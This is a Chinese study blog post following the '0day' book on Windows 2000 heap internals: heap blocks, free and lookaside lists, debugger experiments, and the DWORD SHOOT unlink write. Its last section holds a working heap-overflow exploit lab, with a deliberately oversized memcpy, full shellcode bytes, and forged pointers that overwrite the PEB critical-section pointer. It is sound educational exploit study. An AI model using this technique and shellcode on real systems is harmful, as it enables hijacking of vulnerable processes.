0x00 前言
最近打算开始看堆溢出相关的东西,看了看how2heap之后还是觉得一些基础的东西没有掌握,比如DWORD SHOOT的具体原理等等。于是再次拿起《0day》这本书,之前是因为windows2000的虚拟机配置实在太麻烦了。
在你配置windows2000虚拟机的时候可能会碰到以下问题:
(1)vmware tools 安装不上,这时候需要给windows2000打一个补丁。
(2)怎么把文件复制进2000里? 把想要复制的文件夹打包成一个.iso文件
(3)也许还有别的问题,比如ollydbg的路径问题等,但是只要用好百度,能解决所有的问题的
另外,本文介绍的是windows的堆。
0x01 堆的工作原理
堆具有以下特性:
堆是通过malloc、new等函数来动态分配的内存,并且在使用完毕后需要使用free、delete等函数回收内存,堆的使用是通过指针来完成的。
现代操作系统的堆数据结构一般包括堆块和堆表两类。
堆块
堆区的内存按不同大小组织成块,以堆块为单位进行标识。一个堆块包括两个部分:块首和块身。
块首是一个堆块头部的几个字节, 用来标识这个堆块自身的信息,例如,本块的大小、本块空闲还是占用等信息;块身是紧跟在 块首后面的部分,也是最终分配给用户使用的数据区。堆块根据是否被使用分为空闲态和占用态。
空闲态堆块将块首后数据区的前8个字节用于存放空表指针。
堆表
堆表一般位于堆区的起始位置,用于索引堆区中所有堆块的重要信息,包括堆块的位置、堆块的大小、空闲还是占用等。
最重要的堆表有两种:空闲双向链表FreeList和快速单向链表Lookaside。
(1)空表
堆区一开始的堆表区中有一个128项的指针数组,被称为空表索引。该数组的每一项包括两个指针,用于标识一条空表。
空表索引第二项free[1]标识了堆中所有大小为8字节的空闲堆块,之后每个索引项指示的空闲堆块递增8字节;例如,free[2]标识大小为16字节的空闲堆块,free[127]标识大小为1016字节的空闲堆块。另外,free[0]所标识的空表比较特殊,这条双向链表链入了所有大于等于1024字节的堆块。这些堆块按照各自的大小在零号空表章升序地依次排列下去。
(2)快表
快表从不发生堆块合并。(其中的空闲块块首被设置为占用态,用来防止堆块合并。)
堆中的操作可以分为堆块分配、堆块释放和堆块合并三种。其中,合并是由系统自动完成。
(1)堆块分配
堆块分配可以分为三类:快表分配、普通空表分配和零号空表分配。
块表分配中包括寻找大小匹配的空闲堆块、将其状态修改为占用态、把它从堆表中“卸下”、最后发牛一个指向堆块块身的指针给程序使用。
普通空表分配时首先寻找最优的空闲块分配,若失败,则寻找次优的空闲块分配,即最小的能够满足要求的空闲块。
零号空表中按照大小升序链着大小不同的空闲块,故在分配时先从 free[0]反向查找最后一 个块(即表中最大块),看能否满足要求,如果能满足要求,再正向搜索最小能够满足要求的 空闲堆块进行分配(这就明白为什么零号空表要按照升序排列了)。
堆块分配中存在找零钱现象,当空表无法匹配到最优堆块时,一个稍大些的块会被用于分配。
(2)堆块释放
释放堆块的操作包括将堆块状态改为空闲,链入相应的堆表。所有的释放块都链入堆表的末尾,分配的时候也先从堆表末尾拿。
(3)堆块合并
当堆管理系统发现两个空闲堆块彼此相邻的时候,就会进行堆块合并操作。
堆块合并包括将两个块从空闲链表中“卸下”、合并堆块、调整合并后大块的块首信息(如大小等)、将新块重新链入空闲链表。
0x02 堆调试基础
windows平台下的堆管理架构可以用下图概况。
所有的堆分配函数最终都将使用位于ntdll.dll中的RtlAllocateHeap()函数进行分配,该函数是在用户态能够看到的最底层的堆分配函数。
接下来,我们开始进行堆的调试,来查看实际的堆管理策略。
实验环境
windows2000+VC6(release)+ollydbg
ollydbg设置为实时调试
options->just-in-time-debugging->Make ollyDbg just-in-time debugger -> Done
堆管理函数会检测到当前进程出于调试状态,而使用调试态堆管理策略。
为此,在源码中加入了一个断点另OD可以附加上程序。
源码
//源码1
#include<windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
__asm int 3 //人工断点
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5=HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6=HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5);
HeapFree(hp,0,h4);
return 0;
}
运行程序后,在OD中点击“M”,查看得到当前的内存映射状态。
0x340000是malloc()函数使用的堆,0x360000是HeapCreate()创建的堆,另外0x130000是进程堆。
2.1识别堆表
ctrl+G前往0x00360000查看
从360000开始,堆表中包含的信息依次是段表索引、虚表索引、空表使用标识和空表索引区。
我们最关心的是偏移0x178处的空表索引区,其余的堆表一般与堆溢出利用关系不大。
当一个堆刚刚被初始化时,其堆块状况较为简单。
(1)只有一个空闲态的大块,这个块被称为“尾块”。该块位于堆偏移0x688处,当前为0x360688.
(2)Freelist[0]指向“尾块”。
(3)除零号空表索引外,其余各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块。
在0x360688处查看尾块的状态。
(1)实际上这个堆块开始于0x0036080,一般引用堆块的指针都会跃过8字节的块首,直接指向数据区。
(2)尾块目前的大小为0x130,计算单位是8个字节,也就是0x980字节。堆块大小包含块首。
(3)前向指针和后向指针均指向freelist[0]构成双向链表。
2.2堆块的分配
(1)堆块的大小包括了块首在内,即如果请求 32 字节,实际会分配的堆块为 40 字节:8 字节块首+32 字节块身。
(2)堆块的单位是 8 字节,不足 8 字节的部分按 8 字节分配。
(3)初始状态下,快表和空表都为空,不存在精确分配。请求将使用“次优块”进行分配。 这个“次优块”就是位于偏移 0x0688 处的尾块。
(4)由于次优分配的发生,分配函数会陆续从尾块中切走一些小块,并修改尾块块首中的 size 信息,最后把 freelist[0]指向新的尾块位置。
例如,第一次h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
申请了3个字节大小,但实际上会分配16字节大小
8(首部)+8(>3)=16
OD单步运行到前6次分配结束....(ps:也许你需要将int 3这条指令修改为nop,不然无法执行到下一条指令。)
0x360680--3606B0依次是h1~h4块,大小为2 ; 0x003606C0是h5块,大小为4。
360700为尾块,其大小为0x120=0x130-0x2*4+0x4*2
再次回到0x360178查看freelist[0]的空表指针,发现现在已经指向新尾块的位置,而不是从前的0x350688了。
2.3堆块释放
由于前三次释放的堆块在内存中不连续,因此不会发生合并。按照其大小,h1和h3所指向的堆块应该被链入freelist[2]的空表,h5则被链入freelist[4]。
三次释放运行完毕后,堆区的状态如下图所示
0x360178处空表索引的情况
我们可以看到
0x360178处的链表Freelist[0]指向0x360708,
0x360188处的链表Freelist[2]指向0x360688,
0x360198处的链表Freelist[4]指向0x3606C8。
2.4堆块的合并
当第4次释放操作结束后,h3/h3/h5这3个空闲块彼此相邻,这时会发生堆块合并操作。
首先这3个空闲块都将从空表中摘下,然后重新计算合并后新堆块的大小,最后按照合并后的大小把新块链入空表。最后一次释放操作执行完后的堆区状态如下图所示。
在这里,h3、h4的大小都是2个堆单位,h5是4个堆单位,合并后的新块为8个堆单位,将被链入freelist[8]。
可以看到,0x3606A0合并只修改了块首的数据,原块的块身基本没有发生变化。注意合并后的新块大小已经被修改为0x08,其空表指针指向0x003601B8,也就是freelist[8]。
这时,回到空表索引区观察一下
可以看到变化:
(1)在0x00360188处的freelist[2],原来标识的空表中有两个空闲块h1和h3,而现在只剩下h1,因为h3在合并时被摘下了。
(2)在0x00360198处的freelist[4],原来标识的空表中有一个空闲块h5,现在被改为指向自身,因为h5在合并时被摘下了。
(3)在0x003601B8处的freelist[8],原来指向自身,现在则指向合并后的新空闲块0x003606A8。
堆块合并可以更加有效地利用内存,但往往需要修改多处指针,也是一个费时地工作。因此,堆块合并只发生在空表中。另外,空表中的第一个块不会向前合并,最后一个块不会向后合并。
2.5快表的使用
//源码2
#include<stdio.h>
#include<windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp=HeapCreate(0,0,0);
__asm int 3
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}
Lookaside表(快表)中空间申请与释放的过程。
程序在使用快表之后堆结构也会发生一些变化,其中最为主要的变化是“尾块”不再位于0x0688的偏移处,这个位置被快表霸占。
再次来到偏移0x0688处查看快表
0x3606B8是Lookaside[0],0x3606E8是Lookaside[1],0x360718是Lookaside[2]。
堆刚初始化后快表是空的,这也是为什么在代码中我们要反复的申请释放空间。
首先我们从FreeList[0]中依次申请8、16、24个字节的空间,然后再通过HeapFree操作将其释放到快表中。
根据三个堆块的大小我们可以知道8字节的会被插入到Lookaside[1]中、16字节的会被插入到Lookaside[2]中、24字节的会被插入Lookaside[3]中。执行完四次释放操作后快表区状态如下图所示
我们再到0x00361EA0附近观察一下堆块的状态,大家可以发现快表中的堆块与空表中的堆块的区别。
1)块首中的标识位位0x01,也就是这个堆块是Busy状态,这也是为什么快表中的堆块不进行合并操作的原因。
(2)块首只存指向下一堆块的指针,不存在指向前一堆块的指针。
经过前面的释放操作后,快表已经非空了,此时如果我们再申请8、16、24字节大小空间时系统会从快表中给我们分配。所以程序中接下来申请16个字节空间时,系统会从Lookaside[2]中卸载一个堆块分配给程序,同时修改Lookaside[2]表头.
0x00360718处为空。
0x03 堆溢出利用(上)——DWORD SHOOT
堆管理系统的三类操作:堆块分配、堆块释放和堆块合并归根结底都是对链表的修改。
所有“卸下”和“链入”堆块的工作都发生在链表中,如果我们能伪造链表结点的指针,在“卸下”和“链入”的过程中就有可能获得一次读写内存的机会。
堆溢出利用的精髓就是用精心构造的数据区溢出下一个堆块的,改写块首中的前向指针和后向指针,然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。
我们把这种能够向内存任意位置写入任意数据的机会称为“DWORD SHOOT”。
这里举一个例子来说明在链表操作中DWORD SHOOT究竟时怎样发生的。将一个结点从双向链表中“卸下”的函数很可能是类似这样的。
int remove(ListNode * node)
{
node->blink->flink=node->flink;
node->flink->blink=node->blink;
return 0;
}
当堆溢出发生时,非法数据可以淹没下一个堆块的块首。这时,块首是可以被攻击者控制的,即块首中存放的前向指针(flink)和后向指针(blink)是可以被攻击者伪造的。当这个堆块被从双向链表中“卸下”时, node->blink->flink=node->flink将把伪造的flink指针值写入伪造的blink所指的地址中去,从而发生DWORD SHOOT。
换句话说,在链表拆卸的过程中,我们有了任意地址写入的机会。
调试分析
#include<windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
__asm int 3
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
从0x00360680处开始,共有9个堆块,如下表所示:
起始位置 | Flag | Size | 前向指针 | 后向指针 | |
---|---|---|---|---|---|
h1 | 360680 | 00 | 02 | 3606A8 | 360188 |
h2 | 360690 | 01 | 02 | -- | -- |
h3 | 3606A0 | 00 | 02 | 3606C8 | 360688 |
h4 | 3606B0 | 01 | 02 | -- | -- |
h5 | 3606C0 | 00 | 02 | 360188 | 3606A8 |
h6 | 3606D0 | 01 | 02 | -- | -- |
尾块 | 3606E0 | 10 | 0124 | 360178 | 360178 |
查看空表索引区
除了freelist[0]和freelist[2]之外,所有的空表索引都为空(指向自身)。
Free List[2] 00360188 flink:00360688 blink:003606C8
h1 00360688 flink:003606A8 blink:00360188
h3 003606A8 flink:003606C8 blink:00360688
h5 003606C8 flink:00360188 blink:003605AB
在调试器中手动将0x003606C8处的前向指针修改为0x44444444,后向指针改为0x00000000。当最后一个分配函数被调用后,调试器被异常中断,原因是无法向0x44444444写入00000000
以上只是引发DWORD SHOOT的一种情况,事实上,堆块的分配、释放、合并都能引发DWORD SHOOT。
0x04 堆溢出(下)——代码植入
4.1 DWORD SHOOT的利用方法
堆溢出的精髓是获得一个DWROD SHOOT的机会。堆溢出更加精准,往往直接狙击重要目标。精准是DWORD SHOOT的优点,但“火力不足”有时也会限制堆溢出的利用,这样就需要选择最重要的目标用来“狙击”。
在windows XP SP1之前的平台,DWORD SHOOT的常用目标大概可以概括为以下几类:
(1)内存变量:修改能够影响程序执行的重要标志变量,往往可以改变程序流程。
(2)代码逻辑:修改代码段重要函数的关键逻辑有时可以达到一定的攻击效果,如分支处的判断逻辑。
(3)函数返回地址:利用DWORD SHOOT更改函数返回地址。
(4)异常处理机制:异常处理机制所使用的重要数据结构往往会成为DWORD SHOOT的上等目标,这包括SEH、FVEH、进程环境块中的UEF、线程环境块(TEB)中存放的第一个SEH指针。
(5)函数指针:调用动态链接库中的函数、C++中的虚函数调用等。改写这些函数指针后,在函数调用发生后往往可以成功地劫持进程。
(6)PEB中线程同步函数地入口地址。每个进程PEB中都存放着一对同步函数指针,指向RtlEnterCriticalSection()和RtlLeaveCriticalSection(),并且在进程退出时会被exitProcess调用。如果能够通过DWORD SHOOT修改这对指针中的其中一个,那么在程序退出时ExitProcess()将会被骗去调用我们的shellcode。
4.2 狙击PEB中的RtlEnterCritical-Section()的函数指针
当进程退出时,ExitProcess()函数要做很多善后工作,其中必然需要用到临界区函数RtlEnterCriticalSection()和RtlLeaveCriticalSection()来同步线程防止“脏数据”的产生。
ExitProcess()调用临界区函数的方法比较独特,是通过进程环境块PEB中偏移0x20处存放的函数指针来间接完成的。具体说来就是在0x7FFDF020处存放着RtlEnterCriticalSection()的指针,在0x7FFDF024处存放着指向RtlLeaveCriticalSection()的指针。
这里,我们以0x7FFDF024处的RtlEnterCriticalSection()指针为目标,练习以下DWORD SHOOT后,劫持进程、植入代码的全套动作。
#include<windows.h>
char shellcode="\x90\x90\x90\x90\x90...";
main()
{
HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x100000);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3
memcpy(h1,shellcode,0x200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
实验思路:
(1)h1向堆中申请了200字节的空间。
(2)memcpy的上线错误地写成了0x200,这实际上是512字节,所以会产生溢出。
(3)h1分配完之后,后边紧接着的是一个大空闲块(尾块)。
(4)超过200字节的数据将覆盖尾块的块首。
(5)用伪造的指针覆盖尾块块首中的空表指针,当h2分配时,将导致DWORD SHOOT.
(6)DWORD SHOOT的目标是0x7FFDF020处的RtlEnterCriticalSection()函数指针,可以简单地将其直接修改为shellcode的位置。
(7)DWORD SHOOT完毕后,堆溢出导致异常,最终将调用ExitProcess()结束进程。
(8)ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从PEB中拿出了指向shellcode的指针,因此shellcode被执行。
先以向堆中复制200个0x90字节为例,看看堆中的情况和预料的是否一致。
在复制之前,我们可以在0x00410680看到h1的块首
1A 00 08 00 00 01 08 00
,在0x00410750可以看到下一空闲块的块首为16 01 1A 00 00 10 00 00
.
复制之后
需要注意,缓冲区布置如下:
(1)0x168字节的shellcode用0x90补充为200字节。
(2)附上8字节的块首信息,为了防止在DWROD SHOOT发生之前产生异常,不妨直接将块首从内存中复制中复制使用:\x16\x01\x1A\x00\x00\x10\x00\x00
.
(3)前向指针是DWORD SHOOT的“子弹”,这里直接使用shellcode的起始地址0x00410178。
(4) 后向指针是DWORD SHOOT的“目标”,这里填入PEB中的函数指针地址0x7FFDF020
此时的缓冲区布置如下:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x41\x00\x20\xf0\xfd\x7f";
但是在运行之后并不会弹出消息框,因为被我们修改的PEB里的函数指针不仅会被exitProcess()调用,shellcode中的函数也会使用。当shellcode的函数使用临界区时,会向ExitProcess()一样被骗。
为了解决这个问题,我们对shellcode稍加修改,在一开始就把我们DWORD SHOOT的指针修复回去,以防出错。由下图可见,0x7FFDF020处的函数指针为0x77F82060。
这一过程可以通过以下3条指令实现:
MOV EAX,7FFDF020 "\xB8\x20\xF0\xFD\x7F"
MOV EBX,77F82060 "\xBB\x60\x20\xF8\x77"
MOV [EAX],EBX "\x89\x18"
将这3条指令的机器码放在shellcode之前,重新调整shellcode的长度为200字节,然后是8字节块首,8字节伪造的指针。
得到最后的shellcode如下所示:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" //MOV EBX,77F8AA4C the address may releated to
//your OS find 0x77F82060 and 0x77F8AA4C
"\x89\x18"//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x41\x00\x20\xf0\xfd\x7f";
执行完字符串拷贝后,0x410688堆区内的数据:
我们可以看到前向指针存放的是0x00410688,指向shellcode的起始地址。
后向指针存放0X7FFDF020。执行完HeapAlloc后,0x7FFDF020存放0x00410688。
之后申请了一个新的堆块,位于0x0041070
我们可以看到这个堆的前向指针指向0x410688,后向指针却指向0x7FFDF020.
从这里看到EAX的值为00410688。
之后继续运行就会结束,而不弹出窗口,貌似是因为调试器无法处理这个异常导致的。